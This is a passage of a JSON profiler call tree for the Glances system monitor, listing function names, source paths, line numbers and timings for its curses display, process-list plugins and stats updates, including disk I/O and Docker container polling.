{\"cProgramlistPlugin\": 0.0019951779977418482, \"l308\": 0.0019951779977418482},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_nprocs\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000172\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.0019978039999841712, \"l175\": 0.0019978039999841712},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020003999961772934, \"l361\": 0.0020003999961772934},\"children\": [{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002004,\"attributes\": {\"cProgramlistPlugin\": 0.0020039260052726604, \"l471\": 0.0020039260052726604},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.002004,\"attributes\": {\"cProgramlistPlugin\": 0.0020039260052726604, \"l466\": 0.0020039260052726604},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001995,\"attributes\": {\"cProgramlistPlugin\": 0.0019952739967266098, \"l359\": 0.0019952739967266098},\"children\": [{\"identifier\": \"get_conf_value\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001003\",\"time\": 0.001995,\"attributes\": {\"cProgramlistPlugin\": 0.0019952739967266098, \"l1020\": 0.0019952739967266098},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019989369975519367, \"l309\": 0.0019989369975519367},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019989369975519367, \"l857\": 0.0019989369975519367},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019989369975519367, \"l969\": 0.0019989369975519367},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000010004849173, \"l325\": 0.002000010004849173},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000010004849173, \"l856\": 0.002000010004849173},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002020,\"attributes\": {\"cProgramlistPlugin\": 0.002019961000769399, \"l405\": 0.002019961000769399},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002020,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001980,\"attributes\": {\"cProgramlistPlugin\": 0.001980237997486256, \"l361\": 0.001980237997486256},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001980,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019995710026705638, \"l405\": 0.0019995710026705638},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000566993956454, \"l360\": 0.002000566993956454},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000566993956454, \"l341\": 0.002000566993956454},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000566993956454, \"l1130\": 0.002000566993956454},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002005,\"attributes\": {\"cProcesslistPlugin\": 0.002005040005315095, \"l309\": 0.002005040005315095},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002005,\"attributes\": {\"cProcesslistPlugin\": 0.002005040005315095, \"l885\": 0.002005040005315095},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002005,\"attributes\": {\"cProcesslistPlugin\": 0.002005040005315095, \"l907\": 0.002005040005315095},\"children\": [{\"identifier\": \"get_limit_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000971\",\"time\": 0.002005,\"attributes\": {\"cProcesslistPlugin\": 0.002005040005315095, \"l991\": 0.002005040005315095},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020002359960926697, \"l472\": 0.0020002359960926697},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020002359960926697, \"l463\": 0.0020002359960926697},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020002359960926697, \"l1130\": 0.0020002359960926697},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_num_threads\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000411\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.00200179800594924, \"l417\": 0.00200179800594924},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002001312001084443, \"l493\": 0.002001312001084443},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020001729935756885, \"l309\": 0.0020001729935756885},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002009,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001991,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019988170024589635, \"l513\": 0.0019988170024589635},\"children\": [{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020006659979117103, \"l331\": 0.0020006659979117103},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__display_right\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000826\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020004110047011636, \"l845\": 0.0020004110047011636},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020004110047011636, \"l1094\": 0.0020004110047011636},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020004110047011636, \"l1046\": 0.0020004110047011636},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.101444,\"attributes\": {\"cGlancesCursesStandalone\": 0.1014443769963691, \"l291\": 0.1014443769963691},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.101444,\"attributes\": {\"cGlancesCursesStandalone\": 0.1014443769963691, \"l260\": 0.1014443769963691},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.101444,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.101444,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100523,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052293300395831, \"l1202\": 0.10052293300395831},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100523,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100523,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100321,\"attributes\": {\"cGlancesCursesStandalone\": 0.10032108699670061, \"l291\": 0.10032108699670061},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100321,\"attributes\": {\"cGlancesCursesStandalone\": 0.10032108699670061, \"l260\": 0.10032108699670061},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100321,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100321,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100426,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004262100032065, \"l1202\": 0.1004262100032065},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100426,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100426,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100604,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060366599645931, \"l291\": 0.10060366599645931},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100604,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060366599645931, \"l260\": 0.10060366599645931},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100604,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100604,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100493,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049260099913226, \"l1202\": 0.10049260099913226},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100493,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100493,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100638,\"attributes\": {\"cGlancesCursesStandalone\": 0.10063770700071473, \"l291\": 0.10063770700071473},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100638,\"attributes\": {\"cGlancesCursesStandalone\": 0.10063770700071473, \"l260\": 0.10063770700071473},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100638,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100638,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100489,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048898400418693, \"l1202\": 0.10048898400418693},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100489,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100489,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100597,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059709099732572, \"l291\": 0.10059709099732572},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100597,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059709099732572, \"l260\": 0.10059709099732572},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100597,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100597,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100548,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054847299761605, \"l1202\": 0.10054847299761605},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100548,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100548,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100411,\"attributes\": {\"cGlancesCursesStandalone\": 0.10041120800451608, \"l291\": 0.10041120800451608},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100411,\"attributes\": {\"cGlancesCursesStandalone\": 0.10041120800451608, \"l260\": 0.10041120800451608},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100411,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100411,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100352,\"attributes\": {\"cGlancesCursesStandalone\": 0.10035192500072299, \"l1202\": 0.10035192500072299},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100352,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100352,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100532,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053186099685263, \"l291\": 0.10053186099685263},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100532,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053186099685263, \"l260\": 0.10053186099685263},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100532,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100532,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100459,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045879000244895, \"l1202\": 0.10045879000244895},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100459,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100459,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100602,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060218099533813, \"l291\": 0.10060218099533813},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100602,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060218099533813, \"l260\": 0.10060218099533813},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100602,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100602,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100452,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004520910064457, \"l1202\": 0.1004520910064457},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100452,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100452,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100558,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055755899520591, \"l291\": 0.10055755899520591},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100558,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055755899520591, \"l260\": 0.10055755899520591},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100558,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100558,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100397,\"attributes\": {\"cGlancesCursesStandalone\": 0.10039705200324534, \"l1202\": 0.10039705200324534},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100397,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100397,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100519,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051852199831046, \"l291\": 0.10051852199831046},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100519,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051852199831046, \"l260\": 0.10051852199831046},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100519,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100519,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100523,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052298600203358, \"l1202\": 0.10052298600203358},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100523,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100523,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.114210,\"attributes\": {\"cGlancesStats\": 0.11420997199456906, \"l287\": 0.11420997199456906},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.114210,\"attributes\": {\"cGlancesStats\": 0.11420997199456906, \"l575\": 0.11420997199456906},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.114210,\"attributes\": {\"l571\": 0.11420997199456906},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.114210,\"attributes\": {\"cGlancesStats\": 0.11420997199456906, \"l275\": 0.023155419003160205, \"l274\": 0.09105455299140885},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.001128,\"attributes\": {\"cPortsPlugin\": 0.0011278989986749366, \"l686\": 0.0011278989986749366},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001128,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.001995,\"attributes\": {\"cDiskioPlugin\": 0.0019946690008509904, \"l1278\": 0.0019946690008509904},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.001995,\"attributes\": {\"l1295\": 0.0019946690008509904},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.001995,\"attributes\": {\"cDiskioPlugin\": 0.0019946690008509904, \"l114\": 0.0019946690008509904},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.001995,\"attributes\": {\"cDiskioPlugin\": 0.0019946690008509904, \"l1351\": 0.0019946690008509904},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.001995,\"attributes\": {\"cDiskioPlugin\": 0.0019946690008509904, \"l148\": 0.0019946690008509904},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001995,\"attributes\": {\"l2133\": 0.0019946690008509904},\"children\": [{\"identifier\": \"wrap_numbers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000654\",\"time\": 0.001995,\"attributes\": {\"l660\": 0.0019946690008509904},\"children\": [{\"identifier\": \"run\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000597\",\"time\": 0.001995,\"attributes\": {\"c_WrapNumbers\": 0.0019946690008509904, \"l629\": 0.0019946690008509904},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000179\",\"time\": 0.002022,\"attributes\": {\"cDiskioPlugin\": 0.002021902000706177, \"l182\": 0.002021902000706177},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.002022,\"attributes\": {\"cDiskioPlugin\": 0.002021902000706177, \"l686\": 0.002021902000706177},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002022,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.065968,\"attributes\": {\"cContainersPlugin\": 0.002519015994039364, \"l1278\": 0.06596801099658478, \"cProcesscountPlugin\": 0.06344899500254542},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.065968,\"attributes\": {\"l1295\": 0.06596801099658478},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.002519,\"attributes\": {\"cContainersPlugin\": 0.002519015994039364, \"l252\": 0.002519015994039364},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.002519,\"attributes\": {\"l256\": 0.002519015994039364},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.002519,\"attributes\": {\"l248\": 0.002519015994039364},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.002519,\"attributes\": {\"cDockerExtension\": 0.002519015994039364, \"l260\": 0.002519015994039364},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.002519,\"attributes\": {\"cContainerCollection\": 0.002519015994039364, \"l1009\": 0.002519015994039364},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.002519,\"attributes\": {\"cAPIClient\": 0.002519015994039364, \"l212\": 0.002519015994039364},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.002519,\"attributes\": {\"cAPIClient\": 0.002519015994039364, \"l44\": 0.002519015994039364},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.002519,\"attributes\": {\"cAPIClient\": 0.002519015994039364, \"l246\": 0.002519015994039364},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.002519,\"attributes\": {\"cAPIClient\": 0.002519015994039364, \"l602\": 0.002519015994039364},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.002519,\"attributes\": {\"cAPIClient\": 0.002519015994039364, \"l589\": 0.002519015994039364},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.002519,\"attributes\": {\"cAPIClient\": 0.002519015994039364, \"l703\": 0.002519015994039364},\"children\": [{\"identifier\": 